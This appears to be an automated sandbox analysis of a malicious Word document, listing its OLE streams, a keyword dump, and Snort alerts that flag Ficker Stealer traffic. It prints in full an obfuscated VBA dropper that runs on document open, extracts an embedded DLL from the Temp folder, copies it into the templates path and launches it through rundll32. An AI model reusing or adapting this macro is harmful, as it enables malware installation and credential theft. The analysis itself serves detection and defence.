ThisDocument.hdhdd(Left(Options.DefaultFilePath(wdUserTemplatesPath),
ntgs)
"\Te"
While
asda()
ewrwsdf)
Attribute

VBA Code

Attribute VB_Name = "Module3"
Dim dfbvc As String
Sub bvxfcsd()

Call asda

Dim ewrwsdf As String
ewrwsdf = "L" & "o" & "c" & dfbvc & "mp"



    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf)
End Sub


Sub asda()

dfbvc = "al" & "\Te"
End Sub

VBA File Name: ThisDocument.cls, Stream Size: 5473

General
Stream Path:	Macros/VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	5473
Data ASCII:	. . . . . 0 . . . d . . . . . . . . . . . 1 . . . ? . . . . . . . . . . . . . . . i . F . . . . . . . . . . . . . . . . . . . 0 . . . . . : . . . . . . 9 . . . . . . . . . . . . . . . . . . . . . S h e l l E x e c u t e A . . . . . . . . . . . . . . . . . . . < y . . . . ' D . . . . . # . . . . * [ . . o M . + a . . ( . . . . . . . . . . . . . . . . . . . . . . u . . . > . . E . 9 5 . . . o F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . u . . . > . . E . 9 5 . . . o F < y
Data Raw:	01 16 03 00 06 30 01 00 00 64 0a 00 00 14 01 00 00 9a 02 00 00 31 0b 00 00 3f 0b 00 00 87 11 00 00 02 00 00 00 01 00 00 00 69 e8 46 81 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 30 00 00 00 00 00 3a 02 20 00 00 00 ff ff 39 d2 1e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 68 65 6c 6c 45 78 65 63 75 74 65 41 00 00 00 ff ff ff ff 01 00 00 00 ff ff 80 00 ff

VBA Code Keywords

Keyword
vbNullString,
Unit:=wdCharacter,
Long)
Long,
cvzz,
Explicit
Document_Open()
PtrSafe
Declare
nam(hdv)
False
lpFile
Selection.MoveDown
Scripting.FileSystemObject
MySubFolder
lpOperation
String,
Dir(vcbc
DestinationFolder
nShowCmd
String
Unit:=wdLine,
"\niberius.dll")
MyFolder
wdUserTemplatesPath
MyFSO
lpParameters
Options.DefaultFilePath(cx)
VB_Base
"ll,ONOQWPYIEIR",
ByVal
bvxfcsd
VB_Creatable
VB_Exposed
(ByVal
String)
MyFile
"\niberius.d"
"ThisDocument"
FileSystemObject
Selection.Copy
Search(MyFSO.GetFolder(asda),
Compare
Attribute
VB_PredeclaredId
VB_GlobalNameSpace
VB_Name
Folder
"ShellExecuteA"
Function
yyy()
Len(hdv)
VB_Customizable
Alias
lpDirectory
hdhdd(asda
VB_TemplateDerived
Selection.MoveRight
Option
Selection.TypeBackspace
SourceFolder
Private

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32"         Alias "ShellExecuteA" (ByVal hwnd As Long,         ByVal lpOperation As String, ByVal lpFile As String,         ByVal lpParameters As String, ByVal lpDirectory As String,         ByVal nShowCmd As Long) As Long
        Dim hdv As String
        Dim bbbb As String
Private Sub Document_Open()
Dim vcbc As String

Dim cx
cx = wdUserTemplatesPath
bbbb = "r"
vcbc = Options.DefaultFilePath(cx)
bbbb = bbbb & "u" & "n"
Call xz
If Dir(vcbc & "\niberius.dll") = "" Then
Call yyy

If Len(hdv) > 2 Then

Call nam(hdv)




 Dim cvzz As String
cvzz = "l" & 4 - 1 & "2"

  gc 0, vbNullString,     bbbb & cvzz, vcbc & "\niberius.d" & "ll,ONOQWPYIEIR",      vbNullString, 1
End If
End If
End Sub

Sub xz()
bbbb = bbbb & "dl"
End Sub



Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub


Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    Call bvxfcsd
End Sub

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	114
Entropy:	4.2359563651
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 280

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	280
Entropy:	2.37656366396
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 424

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	424
Entropy:	3.23689176367
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 . . . . . . . @ . . . . . . . L . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M r . A d m i n i s t r a t o r . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 78 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 cc 00 00 00 06 00 00 00 d8 00 00 00 07 00 00 00 e4 00 00 00 08 00 00 00 f8 00 00 00 09 00 00 00 08 01 00 00

Stream Path: 1Table, File Type: ARC archive data, crunched, Stream Size: 8450

General
Stream Path:	1Table
File Type:	ARC archive data, crunched
Stream Size:	8450
Entropy:	5.94622189046
Base64 Encoded:	True
Data ASCII:	. . . . . . . . w . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . .
Data Raw:	1a 06 0f 00 12 00 01 00 77 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

Stream Path: Data, File Type: data, Stream Size: 566599

General
Stream Path:	Data
File Type:	data
Stream Size:	566599
Entropy:	7.97264179911
Base64 Encoded:	True
Data ASCII:	. . . . D . d . . . . . . . . . . . . . . . . . . . . . . J . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . . V . . . . . . . . . f . t . d . . . P . i . c . t . u . r . e . . 6 . 5 . 7 . . . C . : . \\ . U . s . e . r . s . \\ . M . y . P . c . \\ . D . e . s . k . t . o . p . \\ . B . u . i . l . d . e . r . _ . v . 6 . 6 . 7 . \\ .
Data Raw:	1a 9e 08 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 fe 4a df 2e e7 01 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 de 00 00 00 b2 04 0a f0 08 00 00 00 92 06 00 00 00 0a 00 00 93 00 0b f0 ac 00 00 00 7f 00 80 00 f9 01 04 41 02 00 00 00 05 c1 08 00 00 00 3f 01 00 00 06 00 bf 01 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 515

General
Stream Path:	Macros/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	515
Entropy:	5.33328702424
Base64 Encoded:	True
Data ASCII:	I D = " { D 5 C 3 3 6 9 A - A E 0 8 - 4 3 7 1 - 8 9 E B - F 7 6 A 1 8 A 1 9 3 E 0 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . M o d u l e = M o d u l e 1 . . M o d u l e = M o d u l e 2 . . M o d u l e = M o d u l e 3 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 5 1 5 3 B 2 3 2 B 6 3 2 B 6 3 2 B 6 3 2 B 6 " . . D P B = " 0 4 0 6 E 7 5 A 2 9 0 C 2 A 0 C 2 A 0 C " . . G C =
Data Raw:	49 44 3d 22 7b 44 35 43 33 33 36 39 41 2d 41 45 30 38 2d 34 33 37 31 2d 38 39 45 42 2d 46 37 36 41 31 38 41 31 39 33 45 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 31 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 32 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 33 0d 0a 4e

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 113

General
Stream Path:	Macros/PROJECTwm
File Type:	data
Stream Size:	113
Entropy:	3.24854178505
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . M o d u l e 1 . M . o . d . u . l . e . 1 . . . M o d u l e 2 . M . o . d . u . l . e . 2 . . . M o d u l e 3 . M . o . d . u . l . e . 3 . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 4d 6f 64 75 6c 65 31 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 31 00 00 00 4d 6f 64 75 6c 65 32 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 32 00 00 00 4d 6f 64 75 6c 65 33 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 33 00 00 00 00 00

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3880

General
Stream Path:	Macros/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	3880
Entropy:	4.72165782537
Base64 Encoded:	True
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 06 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/__SRP_0, File Type: data, Stream Size: 3020

General
Stream Path:	Macros/VBA/__SRP_0
File Type:	data
Stream Size:	3020
Entropy:	3.38046138898
Base64 Encoded:	False
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * \\ C N o r m a l r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ < . . . . . . . . . . . . . . . " . . . . . . . . . . . . . .
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 01 00 02 00 01 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 01 00 09 00 00 00 2a 5c 43 4e 6f 72 6d 61 6c 72 55 80 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00

Stream Path: Macros/VBA/__SRP_1, File Type: data, Stream Size: 429

General
Stream Path:	Macros/VBA/__SRP_1
File Type:	data
Stream Size:	429
Entropy:	2.68194423382
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . h w n d . . . . . . . . . . . . . . . . l p O p e r a t i o n . . . . . . . . . . . . . . . . l p F i l e .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 11 00 00 00 00 00 00 00 00 00 05 00 ff ff

Stream Path: Macros/VBA/__SRP_2, File Type: data, Stream Size: 1887

General
Stream Path:	Macros/VBA/__SRP_2
File Type:	data
Stream Size:	1887
Entropy:	3.0552390637
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ! . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . .
Data Raw:	72 55 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 05 00 04 00 12 00 00 00 11 10 00 00 00 00 00 00 00 00 00 00 81 11 00 00 00 00 00 00 00 00 00 00 e1 0a 00 00 00 00 00 00 00 00

Stream Path: Macros/VBA/__SRP_3, File Type: data, Stream Size: 458

General
Stream Path:	Macros/VBA/__SRP_3
File Type:	data
Stream Size:	458
Entropy:	2.2800173039
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . a . . . . . . . . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . 8 . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 88 00 00 00 08 00 78 00 61 0a 00 00 00 00 00 00 00 00 00 00 00 00 04 70 18 00 fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: Macros/VBA/__SRP_4, File Type: data, Stream Size: 630

General
Stream Path:	Macros/VBA/__SRP_4
File Type:	data
Stream Size:	630
Entropy:	1.39930012136
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . H . . . . . . . . . . . . . . . i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . H . . . . . . . . . . . . . . . i . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 05 00 10 00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 00 00 00 00 48 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 69 02

Stream Path: Macros/VBA/__SRP_5, File Type: data, Stream Size: 364

General
Stream Path:	Macros/VBA/__SRP_5
File Type:	data
Stream Size:	364
Entropy:	2.01734586074
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . a . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . @ . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 04 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 10 00 00 00 08 00 38 00 f1 00 00 00 00 00 00 00 00 00 04 00 00 00 00 60 00 00 fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 729

General
Stream Path:	Macros/VBA/dir
File Type:	data
Stream Size:	729
Entropy:	6.4341113282
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . . l . . . . . . . . . . y . b . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 . 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s t e m 3 . 2 \\ . e 2 . t l b . # O L E A u t . o m a t i o n . ` . . . . E N o r m a l . . E N . C r . m . a Q . F . . . . . . . * , \\ C . . . . q . m . .
Data Raw:	01 d5 b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 9e 79 db 62 09 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Stream Path: ObjectPool/_1687137834/\x1CompObj, File Type: data, Stream Size: 76

General
Stream Path:	ObjectPool/_1687137834/\x1CompObj
File Type:	data
Stream Size:	76
Entropy:	3.09344952647
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . O L E P a c k a g e . . . . . . . . . P a c k a g e . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 0c 00 03 00 00 00 00 00 c0 00 00 00 00 00 00 46 0c 00 00 00 4f 4c 45 20 50 61 63 6b 61 67 65 00 00 00 00 00 08 00 00 00 50 61 63 6b 61 67 65 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: ObjectPool/_1687137834/\x1Ole10Native, File Type: data, Stream Size: 274741

General
Stream Path:	ObjectPool/_1687137834/\x1Ole10Native
File Type:	data
Stream Size:	274741
Entropy:	6.4905824149
Base64 Encoded:	True
Data ASCII:	1 1 . . . . n i m b . d l l . C : \\ U s e r s \\ M y P c \\ D e s k t o p \\ B u i l d e r _ v 6 6 7 \\ n i m b . d l l . . . . . * . . . C : \\ U s e r s \\ M y P c \\ A p p D a t a \\ L o c a l \\ T e m p \\ n i m b . d l l . . 0 . . M Z . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ! . . L . ! T h i s p r o g r a m c a n n o t b e r u n i n D O S m o d e . . . . $ . . . . . . . o . . . + . . . + . . . + . .
Data Raw:	31 31 04 00 02 00 6e 69 6d 62 2e 64 6c 6c 00 43 3a 5c 55 73 65 72 73 5c 4d 79 50 63 5c 44 65 73 6b 74 6f 70 5c 42 75 69 6c 64 65 72 5f 76 36 36 37 5c 6e 69 6d 62 2e 64 6c 6c 00 00 00 03 00 2a 00 00 00 43 3a 5c 55 73 65 72 73 5c 4d 79 50 63 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 6e 69 6d 62 2e 64 6c 6c 00 00 30 04 00 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00

Stream Path: ObjectPool/_1687137834/\x3EPRINT, File Type: Windows Enhanced Metafile (EMF) image data version 0x10000, Stream Size: 4980

General
Stream Path:	ObjectPool/_1687137834/\x3EPRINT
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Stream Size:	4980
Entropy:	3.85346385078
Base64 Encoded:	False
Data ASCII:	. . . . l . . . . . . . . . . . 1 . . . / . . . . . . . . . . . . . . . . . . . E M F . . . . t . . . . . . . . . . . . . . . . . . . . . . . V . . . . . . . i . . . . . . . . . . . . . . . . . . . . . . . : . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 . . . 5 . . . R . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S . e . g . o . e . . U . I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . . . . . . .
Data Raw:	01 00 00 00 6c 00 00 00 06 00 00 00 00 00 00 00 31 00 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 c8 05 00 00 91 05 00 00 20 45 4d 46 00 00 01 00 74 13 00 00 0d 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 05 00 00 97 02 00 00 69 01 00 00 af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 83 05 00 3a ad 02 00 0a 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00

Stream Path: ObjectPool/_1687137834/\x3ObjInfo, File Type: data, Stream Size: 6

General
Stream Path:	ObjectPool/_1687137834/\x3ObjInfo
File Type:	data
Stream Size:	6
Entropy:	1.25162916739
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	00 00 03 00 0d 00

Stream Path: WordDocument, File Type: data, Stream Size: 4096

General
Stream Path:	WordDocument
File Type:	data
Stream Size:	4096
Entropy:	1.37552863686
Base64 Encoded:	False
Data ASCII:	. . . . Y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . b j b j 8 . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . Z p . e Z p . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . B . . . . . . . B . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	ec a5 c1 00 59 00 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 18 08 00 00 0e 00 62 6a 62 6a 38 1a 38 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 2e 0e 00 00 5a 70 d2 65 5a 70 d2 65 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/09/21-03:07:44.821475	TCP	2031074	ET TROJAN Win32/Ficker Stealer Activity	80	49172	95.213.179.67	192.168.2.22
07/09/21-03:07:44.822108	TCP	2031132	ET TROJAN Win32/Ficker Stealer Activity M3	49172	80	192.168.2.22	95.213.179.67
07/09/21-03:07:46.763546	TCP	2031074	ET TROJAN Win32/Ficker Stealer Activity	80	49178	95.213.179.67	192.168.2.22
